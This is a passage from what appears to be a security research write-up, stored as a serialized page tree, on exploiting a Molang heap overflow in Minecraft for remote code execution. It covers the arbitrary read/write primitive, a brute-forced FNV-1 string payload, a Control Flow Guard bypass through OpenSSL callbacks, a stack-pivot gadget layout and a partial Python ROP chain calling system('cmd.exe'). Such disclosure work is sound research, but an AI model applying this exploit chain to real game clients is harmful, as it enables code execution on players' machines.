",{"type":25,"tag":264,"props":167667,"children":167669},{"className":167668},[],[167670],{"type":30,"value":165864},{"type":30,"value":167672}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":25,"tag":26,"props":167674,"children":167675},{},[167676],{"type":30,"value":167677},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":25,"tag":26,"props":167679,"children":167680},{},[167681],{"type":30,"value":167682},"The final exploit proceeds in three stages:",{"type":25,"tag":661,"props":167684,"children":167685},{},[167686,167691,167696],{"type":25,"tag":112,"props":167687,"children":167688},{},[167689],{"type":30,"value":167690},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":25,"tag":112,"props":167692,"children":167693},{},[167694],{"type":30,"value":167695},"Perform the heap spray with signs to create the desired layout for the attack",{"type":25,"tag":112,"props":167697,"children":167698},{},[167699],{"type":30,"value":167700},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":25,"tag":2352,"props":167702,"children":167704},{"id":167703},"initial-corruption-variant-lfh-heap-approach",[167705],{"type":30,"value":167706},"Initial Corruption Variant: LFH Heap Approach",{"type":25,"tag":26,"props":167708,"children":167709},{},[167710],{"type":30,"value":167711},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":25,"tag":26,"props":167713,"children":167714},{},[167715,167717,167722,167723,167729],{"type":30,"value":167716},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":25,"tag":264,"props":167718,"children":167720},{"className":167719},[],[167721],{"type":30,"value":165611},{"type":30,"value":69},{"type":25,"tag":264,"props":167724,"children":167726},{"className":167725},[],[167727],{"type":30,"value":167728},"last_index",{"type":30,"value":167730}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":25,"tag":26,"props":167732,"children":167733},{},[167734,167736,167741,167742,167747,167749,167754,167756,167761,167763,167768,167770,167776,167777,167783,167784,167790],{"type":30,"value":167735},"The main attack can be arranged by making the resulting index point at the ",{"type":25,"tag":264,"props":167737,"children":167739},{"className":167738},[],[167740],{"type":30,"value":162564},{"type":30,"value":166349},{"type":25,"tag":264,"props":167743,"children":167745},{"className":167744},[],[167746],{"type":30,"value":165544},{"type":30,"value":167748},". From there, the script can overwrite three variable indices at offset ",{"type":25,"tag":264,"props":167750,"children":167752},{"className":167751},[],[167753],{"type":30,"value":165302},{"type":30,"value":167755}," within the ",{"type":25,"tag":264,"props":167757,"children":167759},{"className":167758},[],[167760],{"type":30,"value":165544},{"type":30,"value":167762}," by using the string type. This works because a Molang string's value is just a ",{"type":25,"tag":264,"props":167764,"children":167766},{"className":167765},[],[167767],{"type":30,"value":68751},{"type":30,"value":167769}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":25,"tag":264,"props":167771,"children":167773},{"className":167772},[],[167774],{"type":30,"value":167775},"0xfb",{"type":30,"value":44},{"type":25,"tag":264,"props":167778,"children":167780},{"className":167779},[],[167781],{"type":30,"value":167782},"0xfc",{"type":30,"value":12218},{"type":25,"tag":264,"props":167785,"children":167787},{"className":167786},[],[167788],{"type":30,"value":167789},"0xfd",{"type":30,"value":167791}," the script would do:",{"type":25,"tag":7764,"props":167793,"children":167795},{"code":167794},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[167796],{"type":25,"tag":264,"props":167797,"children":167798},{"__ignoreMap":7},[167799],{"type":30,"value":167794},{"type":25,"tag":26,"props":167801,"children":167802},{},[167803,167805,167810,167811,167817,167819,167824],{"type":30,"value":167804},"That line would write the ",{"type":25,"tag":264,"props":167806,"children":167808},{"className":167807},[],[167809],{"type":30,"value":68751},{"type":30,"value":105285},{"type":25,"tag":264,"props":167812,"children":167814},{"className":167813},[],[167815],{"type":30,"value":167816},"0x302700fb00fc00fd",{"type":30,"value":167818}," (string's FNV-1 hash) into the allocated ",{"type":25,"tag":264,"props":167820,"children":167822},{"className":167821},[],[167823],{"type":30,"value":165544},{"type":30,"value":167825}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":25,"tag":247,"props":167827,"children":167829},{"id":167828},"hijacking-execution",[167830],{"type":30,"value":167831},"Hijacking Execution",{"type":25,"tag":26,"props":167833,"children":167834},{},[167835,167837,167842,167844,167850],{"type":30,"value":167836},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":25,"tag":264,"props":167838,"children":167840},{"className":167839},[],[167841],{"type":30,"value":167379},{"type":30,"value":167843}," and function pointers in the writable ",{"type":25,"tag":264,"props":167845,"children":167847},{"className":167846},[],[167848],{"type":30,"value":167849},".data",{"type":30,"value":167851}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":25,"tag":26,"props":167853,"children":167854},{},[167855],{"type":30,"value":167856},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":25,"tag":26,"props":167858,"children":167859},{},[167860],{"type":30,"value":167861},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":25,"tag":26,"props":167863,"children":167864},{},[167865],{"type":25,"tag":698,"props":167866,"children":167868},{"alt":63694,"src":167867},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":25,"tag":26,"props":167870,"children":167871},{},[167872,167874,167880,167882,167888,167890,167895,167897,167902,167904,167910,167912,167917,167919,167925,167927,167932],{"type":30,"value":167873},"This snippet calls a method on an object: ",{"type":25,"tag":264,"props":167875,"children":167877},{"className":167876},[],[167878],{"type":30,"value":167879},"rcx",{"type":30,"value":167881}," holds the object pointer, the first ",{"type":25,"tag":264,"props":167883,"children":167885},{"className":167884},[],[167886],{"type":30,"value":167887},"mov",{"type":30,"value":167889}," loads the object's ",{"type":25,"tag":264,"props":167891,"children":167893},{"className":167892},[],[167894],{"type":30,"value":167379},{"type":30,"value":167896}," into ",{"type":25,"tag":264,"props":167898,"children":167900},{"className":167899},[],[167901],{"type":30,"value":69889},{"type":30,"value":167903},", and the function pointer at ",{"type":25,"tag":264,"props":167905,"children":167907},{"className":167906},[],[167908],{"type":30,"value":167909},"rax + 0x8",{"type":30,"value":167911}," is read into ",{"type":25,"tag":264,"props":167913,"children":167915},{"className":167914},[],[167916],{"type":30,"value":69889},{"type":30,"value":167918},". Finally, ",{"type":25,"tag":264,"props":167920,"children":167922},{"className":167921},[],[167923],{"type":30,"value":167924},"__guard_dispatch_icall_fptr",{"type":30,"value":167926}," is called - this is the CFG dispatch function that validates ",{"type":25,"tag":264,"props":167928,"children":167930},{"className":167929},[],[167931],{"type":30,"value":69889},{"type":30,"value":167933}," as a legal call target before invoking it.",{"type":25,"tag":26,"props":167935,"children":167936},{},[167937],{"type":30,"value":167938},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":25,"tag":26,"props":167940,"children":167941},{},[167942],{"type":25,"tag":698,"props":167943,"children":167945},{"alt":63694,"src":167944},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":25,"tag":26,"props":167947,"children":167948},{},[167949,167951,167957,167959,167965],{"type":30,"value":167950},"Here, the function pointer at ",{"type":25,"tag":264,"props":167952,"children":167954},{"className":167953},[],[167955],{"type":30,"value":167956},"vtable + 0x10",{"type":30,"value":167958}," is loaded into ",{"type":25,"tag":264,"props":167960,"children":167962},{"className":167961},[],[167963],{"type":30,"value":167964},"rdx",{"type":30,"value":167966}," and then called directly.",{"type":25,"tag":26,"props":167968,"children":167969},{},[167970],{"type":30,"value":167971},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":25,"tag":26,"props":167973,"children":167974},{},[167975,167977,167982],{"type":30,"value":167976},"So the remaining task is to locate OpenSSL function or ",{"type":25,"tag":264,"props":167978,"children":167980},{"className":167979},[],[167981],{"type":30,"value":167379},{"type":30,"value":167983}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":25,"tag":2352,"props":167985,"children":167987},{"id":167986},"locating-overwrite-targets",[167988],{"type":30,"value":167989},"Locating Overwrite Targets",{"type":25,"tag":26,"props":167991,"children":167992},{},[167993,167995,168001,168002,168007,168009,168014,168016,168022],{"type":30,"value":167994},"One of the first targets we identified were the ",{"type":25,"tag":264,"props":167996,"children":167998},{"className":167997},[],[167999],{"type":30,"value":168000},"malloc",{"type":30,"value":12218},{"type":25,"tag":264,"props":168003,"children":168005},{"className":168004},[],[168006],{"type":30,"value":162612},{"type":30,"value":168008}," callbacks. These reside in the ",{"type":25,"tag":264,"props":168010,"children":168012},{"className":168011},[],[168013],{"type":30,"value":167849},{"type":30,"value":168015}," section and are invoked whenever they don’t match the expected ",{"type":25,"tag":264,"props":168017,"children":168019},{"className":168018},[],[168020],{"type":30,"value":168021},"OPENSSL_malloc/free",{"type":30,"value":144470},{"type":25,"tag":26,"props":168024,"children":168025},{},[168026],{"type":25,"tag":698,"props":168027,"children":168029},{"alt":63694,"src":168028},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":25,"tag":26,"props":168031,"children":168032},{},[168033],{"type":30,"value":168034},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":25,"tag":26,"props":168036,"children":168037},{},[168038,168040,168046,168048,168054,168056,168061],{"type":30,"value":168039},"Later, we found another promising function: ",{"type":25,"tag":264,"props":168041,"children":168043},{"className":168042},[],[168044],{"type":30,"value":168045},"ossl_ec_key_new_method_int",{"type":30,"value":168047},". This function creates and initializes an ",{"type":25,"tag":264,"props":168049,"children":168051},{"className":168050},[],[168052],{"type":30,"value":168053},"EC_KEY",{"type":30,"value":168055}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":25,"tag":264,"props":168057,"children":168059},{"className":168058},[],[168060],{"type":30,"value":167849},{"type":30,"value":168062},") containing function pointers:",{"type":25,"tag":26,"props":168064,"children":168065},{},[168066],{"type":25,"tag":698,"props":168067,"children":168069},{"alt":63694,"src":168068},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":25,"tag":26,"props":168071,"children":168072},{},[168073,168075,168081,168082,168088,168090,168095,168097,168103,168105,168110,168112,168117,168119,168124],{"type":30,"value":168074},"In the image above, ",{"type":25,"tag":264,"props":168076,"children":168078},{"className":168077},[],[168079],{"type":30,"value":168080},"ret->meth",{"type":30,"value":137934},{"type":25,"tag":264,"props":168083,"children":168085},{"className":168084},[],[168086],{"type":30,"value":168087},"default_ec_key_meth",{"type":30,"value":168089},", which points to a structure of function pointers located in ",{"type":25,"tag":264,"props":168091,"children":168093},{"className":168092},[],[168094],{"type":30,"value":167849},{"type":30,"value":168096},". It then calls ",{"type":25,"tag":264,"props":168098,"children":168100},{"className":168099},[],[168101],{"type":30,"value":168102},"ret->meth->init",{"type":30,"value":168104},", passing the ",{"type":25,"tag":264,"props":168106,"children":168108},{"className":168107},[],[168109],{"type":30,"value":30815},{"type":30,"value":168111}," pointer (",{"type":25,"tag":264,"props":168113,"children":168115},{"className":168114},[],[168116],{"type":30,"value":24115},{"type":30,"value":168118},"). This alone isn’t especially useful because ",{"type":25,"tag":264,"props":168120,"children":168122},{"className":168121},[],[168123],{"type":30,"value":24115},{"type":30,"value":168125}," is heap-allocated.",{"type":25,"tag":26,"props":168127,"children":168128},{},[168129,168131,168136],{"type":30,"value":168130},"But, if we look at how ",{"type":25,"tag":264,"props":168132,"children":168134},{"className":168133},[],[168135],{"type":30,"value":168102},{"type":30,"value":168137}," is invoked in the disassembly:",{"type":25,"tag":26,"props":168139,"children":168140},{},[168141],{"type":25,"tag":698,"props":168142,"children":168144},{"alt":63694,"src":168143},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":25,"tag":26,"props":168146,"children":168147},{},[168148,168149,168154,168156,168161,168163,168168,168170,168175,168177,168182,168184,168189,168191,168196,168198,168204],{"type":30,"value":7378},{"type":25,"tag":264,"props":168150,"children":168152},{"className":168151},[],[168153],{"type":30,"value":168102},{"type":30,"value":168155}," is not ",{"type":25,"tag":264,"props":168157,"children":168159},{"className":168158},[],[168160],{"type":30,"value":67612},{"type":30,"value":168162},", it is called while ",{"type":25,"tag":264,"props":168164,"children":168166},{"className":168165},[],[168167],{"type":30,"value":69889},{"type":30,"value":168169}," still contains the value of ",{"type":25,"tag":264,"props":168171,"children":168173},{"className":168172},[],[168174],{"type":30,"value":168080},{"type":30,"value":168176}," - that is, a pointer to the structure in ",{"type":25,"tag":264,"props":168178,"children":168180},{"className":168179},[],[168181],{"type":30,"value":167849},{"type":30,"value":168183}," that we control. This is ideal, because we can overwrite ",{"type":25,"tag":264,"props":168185,"children":168187},{"className":168186},[],[168188],{"type":30,"value":168087},{"type":30,"value":168190}," with a pointer to a region in ",{"type":25,"tag":264,"props":168192,"children":168194},{"className":168193},[],[168195],{"type":30,"value":167849},{"type":30,"value":168197}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":25,"tag":264,"props":168199,"children":168201},{"className":168200},[],[168202],{"type":30,"value":168203},"mov rsp, rax; ret",{"type":30,"value":168205},"-style gadget.",{"type":25,"tag":26,"props":168207,"children":168208},{},[168209,168211,168216,168218,168223],{"type":30,"value":168210},"Although we discovered that ",{"type":25,"tag":264,"props":168212,"children":168214},{"className":168213},[],[168215],{"type":30,"value":168045},{"type":30,"value":168217}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":25,"tag":264,"props":168219,"children":168221},{"className":168220},[],[168222],{"type":30,"value":168021},{"type":30,"value":168224}," callbacks.",{"type":25,"tag":2352,"props":168226,"children":168228},{"id":168227},"stack-pivot",[168229],{"type":30,"value":168230},"Stack Pivot",{"type":25,"tag":26,"props":168232,"children":168233},{},[168234,168236,168241,168243,168248,168250,168255,168257,168263],{"type":30,"value":168235},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":25,"tag":264,"props":168237,"children":168239},{"className":168238},[],[168240],{"type":30,"value":167849},{"type":30,"value":168242},", overwrite ",{"type":25,"tag":264,"props":168244,"children":168246},{"className":168245},[],[168247],{"type":30,"value":168087},{"type":30,"value":168249}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":25,"tag":264,"props":168251,"children":168253},{"className":168252},[],[168254],{"type":30,"value":168045},{"type":30,"value":168256},". This ultimately calls ",{"type":25,"tag":264,"props":168258,"children":168260},{"className":168259},[],[168261],{"type":30,"value":168262},"default_ec_key_meth->init",{"type":30,"value":168264},", which executes the pivot and begins ROP execution.",{"type":25,"tag":26,"props":168266,"children":168267},{},[168268,168270,168276,168278,168284],{"type":30,"value":168269},"We chose to overwrite the ",{"type":25,"tag":264,"props":168271,"children":168273},{"className":168272},[],[168274],{"type":30,"value":168275},"OPENSSL_free",{"type":30,"value":168277}," callback. This produces only a minor memory leak, while overwriting ",{"type":25,"tag":264,"props":168279,"children":168281},{"className":168280},[],[168282],{"type":30,"value":168283},"OPENSSL_malloc",{"type":30,"value":168285}," would require our replacement function to return a writable, unused memory region.",{"type":25,"tag":26,"props":168287,"children":168288},{},[168289,168291,168297,168298,168304,168306,168311],{"type":30,"value":168290},"For the stack pivot, we found two useful gadgets: ",{"type":25,"tag":264,"props":168292,"children":168294},{"className":168293},[],[168295],{"type":30,"value":168296},"add rsp, 0x10; pop r14; ret",{"type":30,"value":12218},{"type":25,"tag":264,"props":168299,"children":168301},{"className":168300},[],[168302],{"type":30,"value":168303},"xchg rsp, rax; ret",{"type":30,"value":168305},". The exploit writes them into ",{"type":25,"tag":264,"props":168307,"children":168309},{"className":168308},[],[168310],{"type":30,"value":167849},{"type":30,"value":168312}," like this:",{"type":25,"tag":7764,"props":168314,"children":168316},{"code":168315},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[168317],{"type":25,"tag":264,"props":168318,"children":168319},{"__ignoreMap":7},[168320],{"type":30,"value":168315},{"type":25,"tag":26,"props":168322,"children":168323},{},[168324,168326,168331,168333,168338,168340,168345,168347,168352,168354,168359,168361,168366,168368,168373],{"type":30,"value":168325},"The second gadget, ",{"type":25,"tag":264,"props":168327,"children":168329},{"className":168328},[],[168330],{"type":30,"value":168303},{"type":30,"value":168332},", is placed in the slot corresponding to the ",{"type":25,"tag":264,"props":168334,"children":168336},{"className":168335},[],[168337],{"type":30,"value":33861},{"type":30,"value":168339}," function pointer. As mentioned earlier, when ",{"type":25,"tag":264,"props":168341,"children":168343},{"className":168342},[],[168344],{"type":30,"value":168102},{"type":30,"value":168346}," is called, ",{"type":25,"tag":264,"props":168348,"children":168350},{"className":168349},[],[168351],{"type":30,"value":69889},{"type":30,"value":168353}," contains a pointer to ",{"type":25,"tag":264,"props":168355,"children":168357},{"className":168356},[],[168358],{"type":30,"value":168087},{"type":30,"value":168360}," - which we have overwritten and now points to our ",{"type":25,"tag":264,"props":168362,"children":168364},{"className":168363},[],[168365],{"type":30,"value":168296},{"type":30,"value":168367}," gadget in ",{"type":25,"tag":264,"props":168369,"children":168371},{"className":168370},[],[168372],{"type":30,"value":167849},{"type":30,"value":1860},{"type":25,"tag":26,"props":168375,"children":168376},{},[168377,168379,168385,168387,168392,168394,168400,168402,168407,168409,168414,168416,168421,168423,168428,168430,168435,168437,168442],{"type":30,"value":168378},"When the call occurs, ",{"type":25,"tag":264,"props":168380,"children":168382},{"className":168381},[],[168383],{"type":30,"value":168384},"xchg rsp, rax",{"type":30,"value":168386}," swaps the stack pointer with this controlled pointer inside ",{"type":25,"tag":264,"props":168388,"children":168390},{"className":168389},[],[168391],{"type":30,"value":167849},{"type":30,"value":168393},", effectively moving ",{"type":25,"tag":264,"props":168395,"children":168397},{"className":168396},[],[168398],{"type":30,"value":168399},"rsp",{"type":30,"value":168401}," into our ROP region. After the ",{"type":25,"tag":264,"props":168403,"children":168405},{"className":168404},[],[168406],{"type":30,"value":24115},{"type":30,"value":168408},", execution continues at ",{"type":25,"tag":264,"props":168410,"children":168412},{"className":168411},[],[168413],{"type":30,"value":168296},{"type":30,"value":168415},", which advances ",{"type":25,"tag":264,"props":168417,"children":168419},{"className":168418},[],[168420],{"type":30,"value":168399},{"type":30,"value":168422}," by ",{"type":25,"tag":264,"props":168424,"children":168426},{"className":168425},[],[168427],{"type":30,"value":57649},{"type":30,"value":168429}," bytes, skipping over the padding and the ",{"type":25,"tag":264,"props":168431,"children":168433},{"className":168432},[],[168434],{"type":30,"value":168303},{"type":30,"value":168436}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":25,"tag":264,"props":168438,"children":168440},{"className":168439},[],[168441],{"type":30,"value":168303},{"type":30,"value":168443},") begins executing.",{"type":25,"tag":247,"props":168445,"children":168447},{"id":168446},"rop-chain",[168448],{"type":30,"value":168449},"ROP Chain",{"type":25,"tag":26,"props":168451,"children":168452},{},[168453,168455,168461,168463,168468],{"type":30,"value":168454},"For the demo, the ROP chain simply calls ",{"type":25,"tag":264,"props":168456,"children":168458},{"className":168457},[],[168459],{"type":30,"value":168460},"system(\"cmd.exe\")",{"type":30,"value":168462},". Because Minecraft does not use ",{"type":25,"tag":264,"props":168464,"children":168466},{"className":168465},[],[168467],{"type":30,"value":144192},{"type":30,"value":168469},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":25,"tag":26,"props":168471,"children":168472},{},[168473,168475,168481,168483,168489,168491,168496,168498,168504,168506,168511],{"type":30,"value":168474},"This is straightforward: the chain first calls ",{"type":25,"tag":264,"props":168476,"children":168478},{"className":168477},[],[168479],{"type":30,"value":168480},"GetModuleHandle(\"ucrtbase.dll\")",{"type":30,"value":168482}," to obtain the base address of ",{"type":25,"tag":264,"props":168484,"children":168486},{"className":168485},[],[168487],{"type":30,"value":168488},"ucrtbase.dll",{"type":30,"value":168490}," (which exports ",{"type":25,"tag":264,"props":168492,"children":168494},{"className":168493},[],[168495],{"type":30,"value":144192},{"type":30,"value":168497},"). It then calls ",{"type":25,"tag":264,"props":168499,"children":168501},{"className":168500},[],[168502],{"type":30,"value":168503},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":30,"value":168505}," to retrieve the function’s address. Finally, it invokes ",{"type":25,"tag":264,"props":168507,"children":168509},{"className":168508},[],[168510],{"type":30,"value":144192},{"type":30,"value":168512}," with the \"cmd.exe\" string.",{"type":25,"tag":26,"props":168514,"children":168515},{},[168516],{"type":30,"value":168517},"In the exploit script, the ROP chain looks something like this:",{"type":25,"tag":7764,"props":168519,"children":168521},{"code":168520,"language":32581,"meta":7,"className":32582,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[168522],{"type":25,"tag":264,"props":168523,"children":168524},{"__ignoreMap":7},[168525,168533,168541,168566,168574,168582,168589,168597,168605,168632,168645,168658,168679,168708,168737,168744,168752,168765,168773,168809,168817,168824,168832,168839,168864,168875,168887],{"type":25,"tag":271,"props":168526,"children":168527},{"class":13593,"line":13594},[168528],{"type":25,"tag":271,"props":168529,"children":168530},{"style":14385},[168531],{"type":30,"value":168532},"# get the address of `GetModuleHandle` to `rax`\n",{"type":25,"tag":271,"props":168534,"children":168535},{"class":13593,"line":11641},[168536],{"type":25,"tag":271,"props":168537,"children":168538},{"style":13625},[168539],{"type":30,"value":168540},"rop.gadget(pop_r8)\n",{"type":25,"tag":271,"props":168542,"children":168543},{"class":13593,"line":14354},[168544,168549,168553,168558,168562],{"type":25,"tag":271,"props":168545,"children":168546},{"style":13625},[168547],{"type":30,"value":168548},"rop.gadget(addr_get_module_handle_a ",{"type":25,"tag":271,"props":168550,"children":168551},{"style":13603},[168552],{"type":30,"value":17459},{"type":25,"tag":271,"props":168554,"children":168555},{"style":14289},[168556],{"type":30,"value":168557}," 0x",{"type":25,"tag":271,"props":168559,"children":168560},{"style":16187},[168561],{"type":30,"value":147309},{"type":25,"tag":271,"props":168563,"children":168564},{"style":13625},[168565],{"type":30,"value":16299},{"type":25,"tag":271,"props":168567,"children":168568},{"class":13593,"line":14391},[168569],{"type":25,"tag":271,"props":168570,"children":168571},{"style":14385},[168572],{"type":30,"value":168573},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":25,"tag":271,"props":168575,"children":168576},{"class":13593,"line":14400},[168577],{"type":25,"tag":271,"props":168578,"children":168579},{"style":13625},[168580],{"type":30,"value":168581},"rop.gadget(mov_rax_r8_28)\n",{"type":25,"tag":271,"props":168583,"children":168584},{"class":13593,"line":16406},[168585],{"type":25,"tag":271,"props":168586,"children":168587},{"emptyLinePlaceholder":18},[168588],{"type":30,"value":16829},{"type":25,"tag":271,"props":168590,"children":168591},{"class":13593,"line":16434},[168592],{"type":25,"tag":271,"props":168593,"children":168594},{"style":14385},[168595],{"type":30,"value":168596},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":25,"tag":271,"props":168598,"children":168599},{"class":13593,"line":16447},[168600],{"type":25,"tag":271,"props":168601,"children":168602},{"style":13625},[168603],{"type":30,"value":168604},"rop.gadget(pop_rcx)\n",{"type":25,"tag":271,"props":168606,"children":168607},{"class":13593,"line":16465},[168608,168613,168618,168623,168627],{"type":25,"tag":271,"props":168609,"children":168610},{"style":13625},[168611],{"type":30,"value":168612},"rop.gadget(",{"type":25,"tag":271,"props":168614,"children":168615},{"style":14289},[168616],{"type":30,"value":168617},"0x",{"type":25,"tag":271,"props":168619,"children":168620},{"style":16187},[168621],{"type":30,"value":168622},"7468B68",{"type":25,"tag":271,"props":168624,"children":168625},{"style":13625},[168626],{"type":30,"value":14406},{"type":25,"tag":271,"props":168628,"children":168629},{"style":14385},[168630],{"type":30,"value":168631},"# offset of \"ucrtbase.dll\" string\n",{"type":25,"tag":271,"props":168633,"children":168634},{"class":13593,"line":16486},[168635,168640],{"type":25,"tag":271,"props":168636,"children":168637},{"style":13625},[168638],{"type":30,"value":168639},"rop.gadget(ret) ",{"type":25,"tag":271,"props":168641,"children":168642},{"style":14385},[168643],{"type":30,"value":168644},"# movaps alignment\n",{"type":25,"tag":271,"props":168646,"children":168647},{"class":13593,"line":16495},[168648,168653],{"type":25,"tag":271,"props":168649,"children":168650},{"style":13625},[168651],{"type":30,"value":168652},"rop.gadget(push_rax_ret) ",{"type":25,"tag":271,"props":168654,"children":168655},{"style":14385},[168656],{"type":30,"value":168657},"# calls `GetModuleHandle`\n",{"type":25,"tag":271,"props":168659,"children":168660},{"class":13593,"line":16744},[168661,168666,168670,168675],{"type":25,"tag":271,"props":168662,"children":168663},{"style":13625},[168664],{"type":30,"value":168665},"rop.literal(u64(",{"type":25,"tag":271,"props":168667,"children":168668},{"style":14289},[168669],{"type":30,"value":2508},{"type":25,"tag":271,"props":168671,"children":168672},{"style":17388},[168673],{"type":30,"value":168674},"\"ucrtbase\"",{"type":25,"tag":271,"props":168676,"children":168677},{"style":13625},[168678],{"type":30,"value":32833},{"type":25,"tag":271,"props":168680,"children":168681},{"class":13593,"line":16761},[168682,168686,168690,168695,168700,168704],{"type":25,"tag":271,"props":168683,"children":168684},{"style":13625},[168685],{"type":30,"value":168665},{"type":25,"tag":271,"props":168687,"children":168688},{"style":14289},[168689],{"type":30,"value":2508},{"type":25,"tag":271,"props":168691,"children":168692},{"style":17388},[168693],{"type":30,"value":168694},"\".dll",{"type":25,"tag":271,"props":168696,"children":168697},{"style":61489},[168698],{"type":30,"value":168699},"\\x00\\x00\\x00\\x00",{"type":25,"tag":271,"props":168701,"children":168702},{"style":17388},[168703],{"type":30,"value":6294},{"type":25,"tag":271,"props":168705,"children":168706},{"style":13625},[168707],{"type":30,"value":32833},{"type":25,"tag":271,"props":168709,"children":168710},{"class":13593,"line":16778},[168711,168715,168719,168724,168729,168733],{"type":25,"tag":271,"props":168712,"children":168713},{"style":13625},[168714],{"type":30,"value":168665},{"type":25,"tag":271,"props":168716,"children":168717},{"style":14289},[168718],{"type":30,"value":2508},{"type":25,"tag":271,"props":168720,"children":168721},{"style":17388},[168722],{"type":30,"value":168723},"\"system",{"type":25,"tag":271,"props":168725,"children":168726},{"style":61489},[168727],{"type":30,"value":168728},"\\x00\\x00",{"type":25,"tag":271,"props":168730,"children":168731},{"style":17388},[168732],{"type":30,"value":6294},{"type":25,"tag":271,"props":168734,"children":168735},{"style":13625},[168736],{"type":30,"value":32833},{"type":25,"tag":271,"props":168738,"children":168739},{"class":13593,"line":16791},[168740],{"type":25,"tag":271,"props":168741,"children":168742},{"emptyLinePlaceholder":18},[168743],{"type":30,"value":16829},{"type":25,"tag":271,"props":168745,"children":168746},{"class":13593,"line":16800},[168747],{"type":25,"tag":271,"props":168748,"children":168749},{"style":14385},[168750],{"type":30,"value":168751},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":25,"tag":271,"props":168753,"children":168754},{"class":13593,"line":16823},[168755,168760],{"type":25,"tag":271,"props":168756,"children":168757},{"style":13625},[168758],{"type":30,"value":168759},"rop.gadget(xchg_rcx_rax) ",{"type":25,"tag":271,"props":168761,"children":168762},{"style":14385},[168763],{"type":30,"value":168764},"# move the return value of `GetModuleHandle` to 